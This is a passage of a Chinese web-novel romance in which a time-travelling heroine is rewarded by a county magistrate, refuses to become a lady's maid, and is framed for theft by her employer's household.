叶清辞一袭家常便衣,黑发用一支通体碧绿的玉簪绾在头顶,腰间系着同色玉佩。见她进屋,便从厚厚几撂卷宗的桌案后起身,迈步走到屋中。
手指右手边一排交椅道:“苏娘子,不必拘谨。这里是私室,本官请你来也是有要事相询,随便坐无妨!”
听他这么说,苏蓉才把大背篓放下来。局促地就近挑了把椅子坐。等屁股沾凳才反应过来——
糟糕!
县太爷还没坐,她就坐下来了叫什么话?
立马想蹦跶起来。叶清辞含着笑,与她隔一张小几,坐旁边椅子上了。
“苏娘子,谢谢你送来的兔皮手衣!本官不过是秉公执法,能得到百姓认可赞同,打心眼里高兴。”
话锋一转。
“这副手衣,是你亲手缝制的吗?”
原来还真是感谢自己送手套!
苏蓉一颗心落回胸腔,些许羞涩地点头。
“民女能重获新生,全仗大人为民女昭雪平冤。想着感谢大人,又身无长物,便做了这么一双手……衣。让大人在寒冷的冬天,能方便办公。”
叶清辞从旁拎起一物,正是苏蓉做的手套。他感兴趣地用手指拨动几根指管,将手伸进去套上,露出五指。
每根指套还特别做了有暗扣的活动指帽。需要时,随时戴上或揭开,设计十分精巧便利。
“我从未见过这种制作工艺的手衣!与普通手衣或臂鞲相比,更方便保温和活动!苏娘子,这是你自己想出来的?”
方法自然借鉴了后世。
看着叶清辞赞赏的笑容,想到自己十根戳满针眼的手指头,苏蓉心安理得点头:“民女也是想当然,勉强做出来。手艺不好,大人别嫌弃!”
“不嫌弃!”
叶清辞眉眼弯弯,不吝奢夸奖。
“你有这般巧思用心,本官只想好好嘉奖你!苏娘子,你若不介意的话,本官想把这种制作手衣的方法,在军中推广?”
“有这种活动自如的手衣,能在冬天更好保护将士们的双手,便于他们杀敌!”
苏蓉一愣。
原来对方高兴的重点是这个?
她连忙点头:“大人尽管拿去用!大靖有大人这样体恤民情、忧国忧民的好官,真是社稷之福、黎民之福!”
叶清辞嘴角的笑容,僵了一下。
大约没想到苏蓉一个乡下农妇,拍起马屁来与下属官吏一样,毫不逊色一气呵成。
他慢慢把手套摘下来放一边,不动声色观察苏蓉神情。
“我观卷宗,苏娘子不是本地人?能识文断字,想必也非出自普通家庭?”
这年头,认识字的男人都少见,何况女人!
可以接触到笔墨,至少是富农以上级别的。而富农一般不可能让女孩子读书。所以,苏蓉家世,应该高于富农这个阶层?
“民女随家人逃荒来此,早忘了家乡什么样?”
苏蓉不知自己哪句话,又引发这位大人起疑试探,心里直打鼓。
叶清辞一笑。
“宜阳钟灵毓秀,物阜民丰,适宜定居。”
虽然仍有很多食不果腹、衣不蔽体的贫苦百姓,他相信在自己治理下,宜阳县会慢慢好转起来!
苏蓉有点跟不上叶清辞跳跃的思维,见对方起身,茫然跟着站起。
叶清辞朝外唤了一声:“燕彬!”
方才那名在外阻拦苏蓉的年轻男子,飘然而进。
“取十两银子来!”
一听银子,苏蓉两眼瞬间放光,心脏怦怦跳!
该不会是……
果然,等燕彬取来一大锭银子后,叶清辞接过来直接交到她手里。
“苏娘子,你送来这副手衣,算是为朝廷立了一次功。有功当奖,这十两银子,你便拿去吧!”
苏蓉大喜!
她的房子有着落了!
不用再在邓宅干一年,她立马能实现住房自由!
果然大佬们随便拨根汗毛比她腰粗!
“谢谢大人,谢谢大人!”
若非在现代社会养矜贵了膝盖,不喜欢磕头,她现在就恨不得把县令大人当成祖宗牌位,好好举过头顶三跪九叩。
“起来吧。”
叶清辞托住她手肘,在她弯腰下去时扶她起来:“燕彬,你送苏娘子出去!”
苏蓉晕晕乎乎,随着燕彬踏出房门,仍旧从县衙后门出去。只觉得眼前全是光,晚霞万道,无比璀璨,脚好似踩着云端。
……
晚霞?
她忽地一激灵,抬头望天色。
天啦!已经黄昏时分,一会该宵禁了,她回邓宅实在太晚!不知不觉,竟然在衙门逗留那么久?
她迅速小跑,扛起箩筐一溜烟奔向邓宅。
虽说怀揣十两大银,腰板此刻挺得特别直。但已和邓宅签了一年佣工契,毁约不知会有什么后果?
而且钱只够买个落脚地,她与方婆婆祖孙日后的生活费还得从长计议。能多挣点是点吧,邓宅的差事暂不能丢!
只顾匆忙赶路,没注意到身后有两双毒蛇般的眼睛,盯上了她!
“大哥,那是苏氏?”
金安福站在衙门拐角处,不是很确定地发问。
“是她。”
金竹海目光阴沉,打量苏蓉纤弱的背影。
脚步那么轻快,背着大背篓。难道碰上什么好事了?
而他自从休了这个闷不吭声、成天只知偷偷抹眼泪没用的媳妇,就像撞了鬼,喝凉水都塞牙!
先是莫名其妙骨折、老娘受伤;随即当街被叶县令申饬,赔了苏氏十两银子;紧接着又卷进苏氏的人命官司。
现在梅主簿还突然落马,为自保他不得已退了与梅家女的婚事。
现在他金竹海在丰定村乃至县城,如同一个笑话!
早知道一开始,别忙着休掉苏氏。别的不说,至少苏氏在时,勤劳持家,把后方给他打理得妥妥帖帖。
如今只有金冬梅一个人接手家务活和地里的活,老娘不时抱怨,他和弟弟又没办法回去种田。看来,只能将家里的地先租出去了……
第42章 想清楚回答
金竹海想远了。
金安福见他怔怔的,没理睬自己问话,只当大哥怀恋起了苏氏,撇嘴。
“大哥,听说苏氏在邓教谕家当佣工。这会儿她不老老实实呆在邓宅,快宵禁了来衙门干什么?”
总不成是记仇金家,想来抹黑告状金家吧?真那样,瞧他不弄死那贱皮子!
金竹海白他一眼。
这小子,又蠢又鲁莽。若不是他弟弟,十分乖巧听他的话,早踢得远远的了。
“笨蛋!你没见她从后衙门出来?多半是之前案子还有疑点,叶县令找她来问话。”
金竹海摸摸下巴这段时间因为急躁,冒出来的一片扎手胡渣子,若有所思。
邓教谕家好像也有个快及笄的女儿,听说尚没定亲。要不……
不行!他转念一想,学官品级太低,对他前途完全没有助力。不如再去郑校尉那边活动下?
他养伤耽误太多时间,得尽快回军中报道。不然,被郑校尉忘到脑后便麻烦了。
想清楚这件事,对于苏蓉的事不再放心上。日后若有权势,什么样的女人得不到?
拍拍金安福肩膀,金竹海警告自己弟弟:“我托人好不容易给你弄来这份差事,你好好干,可千万别给我惹麻烦!不然,亲兄弟照打!”
金安福缩缩肩膀,讪讪。
“放心吧大哥,我在衙门,一准听鲁哥的话。”
他天不怕地不怕,从小就怕他哥!
苏蓉不知道险些沾惹上噩运,一口气跑回邓宅。刚碰上下人准备关后角门,她连忙挤进去,塞了两把野菜给对方。
那婆子嫌弃地看看手中野菜。但见苏蓉笑容灿烂,也不好多说什么,挥挥手。
“你这丫头,怎么在外面逛了这许久才回来?赶紧回厨房吧,提防周管事和张厨娘问你话!”
苏蓉谢过婆子,抹抹额头的汗,径奔厨房。
这会儿邓宅人已吃过晚饭,厨房里还能听见锅碗瓢盆碰响,想是为主子准备宵夜。苏蓉放下背篓,把剩余几把野菜拿进厨房。
虽然不值钱,不过送给张厨娘是份心意。鲜嫩的野菜吃起来,别有风味。
张厨娘满头大汗颠勺,柳枝坐小板凳上烧火。看见她进来,张厨娘没说什么。毕竟今天苏蓉放闲日,理该休息,无需干活。
苏蓉将野菜摆在张厨娘目光所及的地方,然后扎上围腰主动帮忙。
张厨娘瞥她一眼,面上流露出笑意:“苏丫头,这次回来晚些啊,吃过饭没有?”
苏蓉老老实实摇头。
怀揣十一两银子,她满满的喜悦,哪会觉得饿。
柳枝羡慕地看苏蓉一眼。
苏蓉是自由身,放闲日能回村走亲访友。她无依无靠卖了身,放闲日出了邓宅,都不知道往何方去。
等把主子们要的宵夜弄好送去,熄了火,张厨娘端出预留的一份饭菜,招呼苏蓉坐下吃。
苏蓉饿了大半天,狼吞虎咽。
然而没吃两口,周管事走进来,面色不太好看。
“苏丫头,今日放闲你去哪里了?”
张厨娘和柳枝一怔。
周管事这话问得古怪!大家都知道苏蓉放闲日会回丰定村,看望方婆婆祖孙。周管事明知故问什么意思,难不成苏蓉还去了别的了不得的地方?
苏蓉放下筷子站起身。
周管事不错眼珠地盯住她。
“苏丫头,想清楚回话!”
这句话,既是警告,又是提醒。
苏蓉心头惴惴,实在不明白对方为什么会关注这个问题。她一个临时雇工,难道没有自由去哪里的权利吗?
换在现代,她早掀桌了!但这是古代……
犹豫一下,她从容不迫回答:“周管事,除了回村一趟,我还去了衙门。”
张厨娘倒抽一口冷气。柳枝不明白其中的严重性,茫然看着三人脸色。
周管事低沉声音:“去衙门做什么?”
“之前的案子有疑点,县令大人找我去问话。”
苏蓉垂下眼帘,捏紧手中筷子。
张厨娘急切地凑过来:“苏丫头,没事吧?县令大人不是早将你当堂无罪释放了吗?”
“迟迟抓不到凶手,县令大人想问我,是否回忆起有关凶手的蛛丝马迹。”
半真半假地回答。苏蓉不信,邓宅人还能去找叶县令对质不成?
周管事面色和缓下来。
“苏丫头,你知道吗?你去衙门,恰巧被一名外出的婆子看见了。回来报告给夫人,夫人找我过去问话!”
她答不上这问题,被夫人好一顿训斥。心头窝火,只能冲苏蓉发。
这且不重要。
重要的是,苏蓉牵扯上衙门!不管是官司纠葛,还是与县令大人有私下往来,都是夫人特别忌讳的。
上回宴请县令大人,对方看见大姐儿,什么表示没有,连多余眼神也欠奉。
满怀希望、自视甚高的大姐儿,倍感失落与受辱。回房后偷偷大哭一场!周管事很担心在这节骨眼上,苏蓉触动夫人和大姐儿敏感的神经。
听到苏蓉落落大方说明缘由,不由得松了口气。
“夫人要问你话,你跟我来。就照这实情禀明夫人,知道吗?”
迎着周管事有所暗示的眼神,苏蓉了然点头:“知道,谢谢周管事!”
周管事点头,转身走在前面。她就是满意苏蓉感恩知恩的伶俐劲,才多做提醒。换个人,懒得理!
“张婶子,苏姐姐她不会有事吧?”
柳枝似为苏蓉担忧不已。
“你有事人家苏丫头也不会有事!”
精明的张婶子,一下子听出她话里隐含的幸灾乐祸。狠狠白过去一眼:“人家苏丫头,至少是自由身,不像你我为人奴仆,贱命一条!”
柳枝撇撇嘴,继续擦洗灶台。
张厨娘把苏蓉没吃完的饭菜收起来,温在锅里,等人回来好接着吃。
这边苏蓉跟随周管事,来到后宅主屋。
刘夫人吃着厨房刚送来的一碗红枣枸杞银耳汤。加了羊奶、杏仁等物,据说是养颜偏方,睡前必定来上一碗。
眼角余光瞥见周管事带人等在门口,没理会。慢慢把一碗汤吹凉喝完,放下汤勺接过青蝉递来的帕子擦擦嘴,方示意两人进屋。
周管事偷偷推了苏蓉一把。
苏蓉老老实实上前行礼:“给夫人请安?”
暗想一个教谕夫人,派头端得十足。县令大人都没她架子大!对方威风,也只能表现在她们这种底层人身上了。
第43章 不识抬举
刘夫人和颜悦色。
“苏氏,你来我们邓宅多久啦?”
“两个多月。”
苏蓉面上保持恭敬回答。
刘夫人满意她的态度,露出关切的表情:“如何,在厨房那边做事,还习惯吗?”
“谢谢夫人关心,府上人好相处,我过得比较习惯。”
苏蓉尽量不卑不亢。
“习惯就好。”
刘夫人点头,一脸悲天悯人:“我听说过你的事,你也是个苦命的人。”
苏蓉低头,耳边听得刘夫人话锋一转。
“衙门那边牵扯的案子,弄清白了吗?”
终于问到重点了!
苏蓉依照先前应付周管事的说辞:“官府迟迟未能捉到真凶,今天衙门的人把我找去,县令大人又细问了我案情。”
至于具体案情,她相信刘夫人胆子再大,不敢详问。
对方要的,可能就是个忠诚态度。但在她一个临时雇工身上找存在感,有毛病吧?
她并不知道,大部分是叶县令给她带来的麻烦。
刘夫人听她老实回答,心里满意。到底是个没见过世面的农妇,不敢在自己跟前耍花花肠子!
想到大姐儿,心情一阵烦闷。自己这么好的女儿,宜阳县挑不出第二个!结果叶县令正眼也不看?
偏偏大姐儿似乎对叶县令上了心,成天闷在房中,暗自神伤。让她这个做娘的,担忧不已。
早知道,当日就不让大姐儿出来见客了!
唯一的好消息,老爷和陶姨娘最近也蔫了。他们引以为傲、寄托全部希望的琛哥儿,叶县令同样不注重。呵呵!
撩起眼皮再次打量苏蓉。
此女除了瘦、肤黑,五官长得其实挺精致的。温婉中透露出稳重、大气。
大姐儿身边现在只有一个丫头。原本中意桂枝,调教好跟随大姐儿出阁,谁成想是个爬床的贱皮子!
又买个柳枝。性子倒活泼,但像上一个同样不安分,喜欢东窜西窜多嘴舌。
冷眼瞧着,家里下人似乎只有苏氏最出众,甚合她意。听说还是个识字的?若是愿意随大姐儿出阁当陪房,岂不是大姐儿强有力的助力?
然而苏氏是自由身,签了一年用工契,邓宅只能在这一年内使唤,对方愿意为大姐儿所用吗?
想到苏蓉被休之身,举目无亲,无钱无势。或许她小施恩惠,这人能识得好歹!
于是,车轱辘一转念头的刘夫人,眉眼染上笑意。
“没有事最好了!我也是怜惜你,年纪轻轻遭受这么多磨难。所以找你过来想问问?听说周玉和张如英常夸你,你还能写会算?”
“是周管事和张婶子教导有方,我只是些微地认得两个字而已……”
苏蓉不知刘夫人心里打什么算盘,警惕回答。
她不会认为自己的身份,在刘夫人心目中比桂枝、柳枝等人高贵多少。
刘夫人打断她:“女子识字,已比很多普通人强了。我觉得,你留在厨房屈才!我另外给你安排个差事如何?”
苏蓉打心眼里不愿意离开厨房。
张厨娘和周管事挺照顾她,她图的也不是洗菜娘那份微薄的工钱。而是短时间内有个庇护地,借机洗钱。
刘夫人会有真好心?
她勉强装出感谢的样子:“请夫人明示?”
“以后你跟在大姐儿身边如何?大姐儿即将及笄,身边需要人手!工钱……我给你涨到八百文一个月!”
刘夫人自信满满,认为没人拒绝得了双份工钱。而且,跟随大姐儿奴随主贵,不用干粗活,多少丫头争破头。她不信苏蓉不动心!
苏蓉内心翻个大白眼。
这刘夫人莫不是选择性健忘她是临时佣工,若去当大姐儿的丫鬟,那和奴婢有什么区别?
对方自以为施恩,对她实则如同羞辱!
她不假思索屈膝行一礼,客气婉拒:“谢夫人看重!但苏蓉没什么大志向,只想呆在厨房洗菜打杂。做满一年有些余钱,便于在县城生活。”
跟着张婶子打下手能学厨艺;跟着大姐儿,难道学怎么当奴才吗?
刘夫人原本和善带笑的脸,一下子阴沉下来。
周管事连连向苏蓉使眼色,苏蓉只做不见。急得周管事头上冒了汗。
原则性的问题,怎么能示弱?苏蓉不是不懂周管事的担心,但刘夫人是周管事主子,又不是她的。
充其量称一声东家。总不能为了东家,她自甘下贱去当东家女儿奴婢?
没那个道理。
刘夫人五指扣住椅子扶手青筋暴突,心里恨不得把苏蓉打一顿,到底忍住怒气,面上勉强笑笑。
“你不愿意我也不能勉强。那……苏氏你回厨房继续干活吧。邓家书香门第,规矩多,小心别犯错!”
最后一句,刘夫人咬牙切齿,流露出一股威胁意味。
苏蓉默默行礼告退。
她前脚一走,刘夫人随后就恼得抓起桌上没来得及收走的碗勺,狠狠砸碎在地,发出清脆的“哐啷”一声。
“不识抬举的东西!我倒好意想提拔她,她敢当场驳我面子?怪道会被夫家休弃!这么没眼色不知好歹的女人,哪个婆婆和男人会喜欢?”
“周玉,这就是你和张如英一力推荐夸赞的人?”
周管事低着头乖乖听训,满嘴苦涩。
她不知道夫人会有为大姐儿收人的心啊!苏蓉是从外面雇来的临时佣工,没签卖身契。不愿去大姐儿身边侍候,不是很合理吗?
又不是家生奴才,想怎样就怎样。
但她是奴才!夫人说,只能听。
青蝉在一边侍候,眼珠一转:“夫人别气,气坏自个身子不值当!这个苏氏,想是觉得自己是自由身,所以不服夫人差遣傲慢的不行?那么……”
她唇角溢出冷笑。
“我们让她以后再抬不起头,只能乖乖对夫人俯首帖耳听命如何?”
周管事睫毛颤动两下。
此刻,刘夫人朝她喝道:“还不快把碗筷碎片收拾出去?周玉,你越来越不中用了!”
周管事弯下腰,沉默把满地碎瓷片一片片捡起,放在托盘上,端着退出房间。
她和张如英,十来岁随刘夫人出阁。张如英跟不上后宅风云变幻,被排挤到厨房。而她,为夫人鞍前马后,双手染色,好不容易爬到管事位置。
然而自从心狠手辣的青蝉横空出世,在夫人身边崭露头角,她就逐渐被排挤成和张如英一样的边缘人物。
长江前浪推后浪,她这前浪,被拍死在沙滩上。
也不知是不是报应……
第44章 不安感
苏蓉回到厨房,张厨娘一个人守在灶台边,尚未熄火。见她回来,把未燃尽的柴火从灶膛抽出,从锅里端出热腾腾的饭菜,摆在桌上。
“苏丫头快过来吃!夫人找你去,没什么事吧?”
见对方关心的眼神,苏蓉心里一暖。
“没事,张婶子放心!夫人就是问我愿不愿意去大姐儿身边侍候,我舍不得厨房舍不得您,就婉拒了。”
张厨娘嘴角一抽。
“夫人……没说什么?”
苏蓉坐下大口大口吃饭,饿死她了!
“没有。张婶子您知道的,我只打算在邓宅做满一年,存点防身钱就离开。”
邓宅是她立足县城的临时踏板。
张厨娘拉过一条小板凳,在她身边坐下,眉宇间隐有忧色。犹豫片刻,还是什么也没对苏蓉说。
刘夫人是她主子。哪有奴仆在背后说主子坏话的。
苏蓉吃完饭,洗完碗。瞧张厨娘一个人还坐原处,神情灰暗,背影看上去萧索又孤寂,不免关切两分。
“张婶子,时间不早,您还不去休息吗?”
厨房里虽有她和柳枝两人打下手,但张厨娘作为主厨,三餐加点心宵夜,服务邓宅二十多口人,工作量不是一般的大!
为人奴仆,还不敢有任何怨言。她尚有离开之日,而张厨娘只要还能动,一辈子都得在邓宅当被压榨的牛马。
原本应该再请个厨娘回来分担,发现厨房工作能做走,刘夫人便不再提这档子事,以省开支。
苏蓉有点好奇。
张厨娘和周管事都是三十好几的人了。周管事听说是自愿独身,矢志侍主。张厨娘难道也是?
张厨娘回过神来,扶着桌子站起,欲言又止地道:“那,我去歇着了!苏丫头,你……以后好好干活。”
苏蓉把厨房简单收拾一遍,端着油灯回自个屋。柳枝面朝墙壁睡下,她尽量轻手轻脚,不惊醒对方。
将揣在怀里捂得发烫的银子,照旧缝在旧衣夹层里。低头飞针走线之际,没注意到隔壁床柳枝悄悄回头,隔着床帐观察她动静。
见着那银光铮亮的锭子,柳枝微眯的眼睛,闪过艳羡和疑惑。
她实在不明白,月钱就比自己多一百文的苏蓉,到底从哪里得来这么多钱?
不是一无所有被赶出夫家了吗?还倒霉牵扯上官司!无亲无故,为什么苏蓉每一次放闲日离开邓宅,回来都能带上这么多钱财?
柳枝闭目假寐,偷听苏蓉那边的动静,心里七上八下做着衡量。
平平静静过了两天。
一心准备见势不妙,宁愿赔点违约金也要撤出邓宅的苏蓉,没察觉出身边有什么特别变化。
刘夫人似乎忘了她这号人物存在?
看来她在人家眼里确实不算回事,连她预计的可能会遭到报复,也没有。
周管事过来对账,完事后幽幽瞥她一眼。
“苏丫头……仔细干活!”
这没头没脑的一声,既不似随口一说,也不像训斥。倒有提醒之意……苏蓉放松的警惕,一下子飙到新高度。
周管事合上账本准备离开。苏蓉顾不得收拾桌上纸笔,连忙追在身后。
“周管事,我送您!”
周管事没理她。甚至没有多说一句话,低头径直去了。仿佛和她多说一个字,会招惹上祸患,脚步匆匆。
苏蓉闷闷不乐回来。张厨娘撸起袖子,用大勺子搅动锅里熬着的米粥,看了看苏蓉的表情,皱眉。
周姐姐这两天心事重重,不知是不是因为苏丫头,被夫人责罚了?
后宅越平静如常,她这心头越发不安,隐约觉得会发生什么事?
柳枝提着篮子回来,里面装着空食盒。
一连两天,都是她去主屋送饭菜和茶点。不知为什么,这丫头突然入了刘夫人的眼。青蝉亲自过来说,以后饭菜都由柳枝送。
张厨娘被排挤冷落惯了,倒不在意这个。再说柳枝本来就是买来调教,打算日后分配给大姐儿的。
她就是直觉哪儿不对劲。但不对劲在哪,说不出来。
“张婶子,给我留饭菜了吗?”
柳枝把篮子空碗往正洗菜的苏蓉跟前一放,抹抹额头不存在的汗,压抑住得意的小情绪,招呼张厨娘。
从来都是她眼睁睁看着张厨娘给苏蓉开小灶,如今终于轮到她了!
“在小锅里,自己去盛!”
张厨娘翻个白眼,没多理睬对方。一个小丫头片子,主子才给了两天颜色,就想蹦跶到她脸上来开染坊?
她服侍主子的时候,对方还没出生呢!
再说,主子眼里,谁不是奴才?
柳枝讨个没趣,讪讪自己去拿碗筷盛饭夹菜。隐晦不满的眼神,瞄向低头只管干活的苏蓉。
苏蓉哪有心思与柳枝这小丫头计较!周管事突如其来的提示,让她瞬间领悟后宅远没有她所看见的平静。
读过老多宅斗宫斗小说,她第一时间,把事情往最坏处想。
她可不认为刘夫人那种心狠手辣的角色,会大度到不计较她两日前,不给面子的一口回绝。
等柳枝吃完饭又跑去不知哪里摸鱼时,她凑到张厨娘身边。
“张婶子,如果明天我辞工不干,是不是直接找周管事就行了?”
张厨娘搅动大锅的勺子一停,回头瞅她眼。随后,转回去继续熬粥。
苏蓉眼巴巴望着她。以为对方不会给出答案了,张厨娘开口。
“周管事先得回禀夫人。而且,不是说走马上能走的。你签了一年佣工契,心善东家或许会直接放人?但稍微严苛点的……”
她家主子就不是心善的!
“严苛点的会怎样?”
苏蓉满怀希望。
“咋的?才来两个多月,你就不愿意继续做下去了!”
张厨娘拖长调子。顿了顿,后面的话小声又迅速。
“这算违约吧?可能会付违约金!当初你签契约没看具体内容吗?上面写了什么?邓宅以前请佣工,也没遇到你这种半途想走的情况!”
苏蓉回忆自己所签佣工契约,周管事拿给她的一张纸,上面所写十分简单。
因为她识字,连中介人的印章也没有。就说工钱多少,谁雇佣谁,工钱一月三百文。后来这个月的四百文,是刘夫人自己主动提价的。
听她述说,张厨娘皱眉。
“明儿你自己问周管事吧,这事我真不清楚。”
虽然比较舍不得苏蓉,但她清楚,苏蓉留在邓宅非长久之计。
第45章 陷害
苏蓉睡觉前,习惯性枕着藏有小金库的旧衣包,手捏几粒生豆子。
这两个多月在邓宅干活,同屋有人,她几乎没机会召唤铜甲兵。
等明天想办法离了邓宅,买下自己住所,一定要趁无人时多练习金手指,说不定能升级?
既然邓宅已给她一种毛骨悚然、莫名不安的感觉了,那她决定遵从自己内心的直觉,尽快离开。
况且现在买房的钱在叶县令支援下,积攒的差不多。
睡得正香,突然浑身一凉,兜头一盆冷水泼她身上。
没明白过来怎么回事?脸上一疼,紧接着有人粗暴拽起她来,“噼啪”甩了她两个大大的耳光!
四只粗糙的手,抓住她胳膊,像是老鹰捉小鸡,将她从热被窝里提溜出来,直接掼在地上。
这重重一摔,将苏蓉彻底摔清醒了。
睁开眼,只见青蝉带着两名粗使婆子,脸上挂着恶毒的冷笑,叉腰站立。旁边站着畏缩的柳枝,身上衣裳整齐,没有丝毫睡过的痕迹。
她一时间脑袋发懵。
“你这贱人,竟敢偷盗!”
青蝉伸手抓住苏蓉头发,狠命撕扯。疼得苏蓉没弄清发生什么事之前,先反抗。但两名粗使婆子牢牢按住她,不让她动弹。
苏蓉情急,挣扎着狠狠一脚踹向青蝉下身!
青蝉尖叫一声,捂住肚子倒在地上。
“你们是蠢猪吗?还不快按住她……绑起来!”
苏蓉披头散发,凶猛地一口咬在一名婆子手腕上!疼得对方哀嚎着松了手。柳枝原本准备帮忙递绳子,见状缩回墙根,大气不敢出。
苏蓉血红一双眼睛,一副逮谁跟谁拼命模样。
见此,青蝉气得不行。
没料到苏蓉这么泼就算了,带来两个婆子,也这般不中用?早知道她叫小厮!
“住手!”
张厨娘愤怒地闯进门来,叫停纠缠打滚在一起的几人。她发髻松垮歪在一边,外衫胡乱套上,两只手忙乱系腰带。
但她那身板,把门堵了个结实,遮住外面透进来的月色灯光,相当有威慑力。
顿时房间静了下来。
“啪!”
其她人住手了,苏蓉没住。
使出吃奶力气,甩手抽了就近婆子一记耳光。随后连滚带爬从青蝉身上踩过去,捡起地上一粒滚落的豆子,逃到张厨娘身后。
张厨娘……
“张如英!”
青蝉疯了,面容扭曲,手指张厨娘叫她全名:“这是夫人的命令!你敢维护她?”
张厨娘胖胖的脸上,全是茫然。
“青蝉姑娘你在说什么?到底发生了什么事?”
话虽如此,她挡在苏蓉面前的重量级身板,没有挪动。
谁也没有看见,手中紧紧捏住一粒豆子的苏蓉,双目流露出一股疯狂杀气!
只待这些人一言不合,便再次来个岷郡王氏!
敢说她偷盗?
呵呵,原来刘夫人的报复,等在这里!
青蝉在两名婆子搀扶下,好不容易起身。发簪掉了,衣裳脏了,浑身还疼。
她气得发抖!
本来是来抓人的,倒被人打了?
“她偷盗咱们夫人的银子,有人检举揭发她!张如英,你敢维护她?夫人那里,你不怕吃不了兜着走吗?”
青蝉一根手指,差点戳到张厨娘面团似发酵的脸蛋,嫌油腻赶紧缩回来。
不过张厨娘已经被她嚣张轻蔑的举动激怒!胖手随意一挥,青蝉连连后退,倒在婆子们的手臂上。
张厨娘冷着脸。
“什么时候的事?我掌管厨房我怎么不知道?苏丫头每天呆在厨房,除了放闲日没有离开过厨房半步!谁说她偷盗夫人银子?有证据吗?”
数连问。
苏蓉死死握住豆子的手指慢慢放松。这个时候,她慢慢也冷静下来了。
杀人无法解决任何问题,除非她想一个人走上与官府对抗的道路。
张厨娘既然在维护她,那么她便先看看,刘夫人到底要玩什么花样?
她就不信,刘夫人敢把她这个自由身的外聘雇工,直接栽赃陷害打死?那她召唤的铜甲兵,可不是吃素的!
青蝉一想,确实要让宅邸的人心服口服。处置不听话的苏氏,要师出有名。
她站直身体,冷眼一横旁边想装隐形人的柳枝。
“柳枝,不是你向夫人禀报,苏氏偷盗咱们邓宅银两?赃款呢,快去找出来!”
张厨娘看着柳枝的神色,冷淡下来。
苏蓉注视柳枝,心里除了震惊,还有不可思议!
她自觉没得罪过对方啊?而且这小丫头才多大?没到十四岁吧?就学会如何诬陷杀人了?
果然她还是轻视了古人。
被所有人看着,柳枝面如土色。她是第一次干这种昧良心的事,做不到若无其事。
但想着过往遭遇,如今主子夸奖以及许下的种种好处,她还是鬼使神差走到苏蓉床边,开始动手翻苏蓉的东西。
苏蓉气得想冲上去撕烂对方。
张厨娘悄悄拉她一把。这一拉力量固然不大,却让苏蓉彻底沉稳下来。
刘夫人既然决意找她麻烦,窜通指使柳枝只是第一步。她处在对方地盘上,再怎么辩解没用。
不如将事情闹大,惊动官府。有清廉公正的叶县令做主,她才可能不用暴力手段解决问题。
她不是邓家奴仆,“偷盗”罪名,邓家最多将她送官。
果然,柳枝很快把苏蓉藏银子的旧衣翻了出来。
早知究竟的青蝉,操起剪子,亲手将一件旧衣煎了个七零八落。绷落一地豆子,搜出一堆银子铜板!
不说铜板,单大小银子就有二十来两!
青蝉等人,连同张厨娘用惊讶莫名的目光,看向苏蓉。
二十两银子,相当于普通农户数年的收入了!苏蓉一个洗菜娘,无亲无故,甚至是一无所有被赶出婆家不久,能积累出这么一大笔财富?
一时间,本来不相信苏蓉会偷盗的张厨娘,内心也打起了小鼓,悄悄挪动脚步,站到一边。
“苏氏!你还有什么话好说?”
青蝉用旧衣包好一堆银子铜板,冷笑着展示在苏蓉面前,眼色示意两个婆子再次动手,去抓苏蓉。
“人赃并获,跟我去见夫人!看夫人如何发落你?”
苏蓉弯腰捡了好几粒滚到脚边的豆子,捏在手心,语气平淡。
“抄查外来雇工的行李,栽赃陷害其偷盗,以便据雇工财物为己有。这是邓宅发家的秘诀吗?”
第46章 送官
“罪证齐全,你这贱人死鸭子嘴硬,还在狡辩!”
青蝉一愣,随即勃然大怒指使婆子:“给我把她拖到夫人那去!怎么处置这无耻偷盗的贼,请夫人示下!”
张厨娘唇瓣翕动几下,想到那么多的银子,实在没底气帮苏蓉喊冤,沉默站在了不挡门的位置。
面对冲上来的两名婆子,苏蓉闪身直接走出门,冷厉斥喝。
“别拉拉扯扯,我随你们去见夫人!”
转念一想,不行!刘夫人竟然敢栽赃她偷盗,那么偷偷把她打死,也可以说成是她畏罪自杀。
死无对证。就算最后官府查出来,她死了还是白死了。
她也不能当众暴露自己会撒豆成兵。铜甲兵一现身,之前没了结的两桩凶案,叶县令会第一时间联系到她身上!
那无疑于不打自招。
于是,与青蝉几人周旋之际,她豁出去了,沿途大叫大喊。
“我倒要看看你们夫人,是不是欲加之罪何患无辞?擅自搜雇工行李,为将雇工财物据为己有,陷害雇工偷盗!”
“邓教谕家就这种下作风气,徒有师表,枉为人师!”
“亏他还是学官,纵容自己妻子……”
青蝉越听越不对。
苏蓉根本不是在怒骂她们,而是故意嚷得整个邓宅都惊动!
厨房位于穿堂屋附近,毗邻前后院。苏蓉这么喊,前院老爷肯定能听见。宅子又不大,甚至左右邻舍也……
她顿时急了眼。
“快把她绑起来堵住嘴!”
苏蓉知道自己体格不行,没有力气。仗着人尚算机灵,灵活在走廊过道蹦蹦跳跳。时而围绕柱头来出躲猫猫,时而往花坛里猛钻。
婆子越凶猛,她尖叫越大声:“杀人了!刘夫人要杀人灭口了……”
总之,誓要吵醒睡梦中的所有人,不甘心悄无声息被刘夫人发落。
跟来的张厨娘似乎也想帮忙抓人。但她胖胖的身体,成了拖后腿的。时不时阻碍两个婆子的道路,让苏蓉一次次逃之夭夭。
青蝉气急败坏,追在后面口吐芬芳。
“你们两个是猪吗,成天白吃饭连个小贱人也抓不到……”
骂完婆子骂张厨娘。
“张如英!你故意维护她是不是?等我回头告诉夫人……”
张厨娘委屈巴巴停下脚步。
“青蝉姑娘,我好心帮忙,你却冤枉人,那我不帮了!”
邓教谕这几夜没宿在后院妻妾处,恰巧约了几名看重的学子,在前院讲经释义。有名学子远道而来,还被留宿了。
听到外面吵吵,邓教谕从床上爬起来,脸黑成锅底。赶忙让小厮去查看外面发生了什么事?
不一会儿,小厮飞奔回来禀报。
“老爷,听说夫人抓住了一个偷盗的丫头,要进行发落。那丫头疯了,乱喊乱叫!”
邓教谕恼火:“芝麻小事,堵嘴着实打一顿卖掉!怎么闹成这样?”
惊动留宿的学子,简直丢人现眼,还以为他家风不好!
小厮结巴。
“那丫头……不是家生奴才,听说是外面请的雇工?”
邓教谕哽了一下,挥手。
“取我名帖,连人带赃,送去衙门请县令大人发落!”
之前叶县令给了他一个没脸,夫人成天在他跟前,哭诉大姐儿有多难过。正好今次三更半夜,给对方添一次堵。
让县令大人连夜问案休息不好,还怪不到他头上来!
小人之心的邓教谕,暗戳戳以为自己出了口气。
苏蓉一听要将她送官,顿时不闹了,乖乖跟着邓宅人去衙门。
后院刘夫人听说老爷的处置,气得狠狠拍了下桌子。
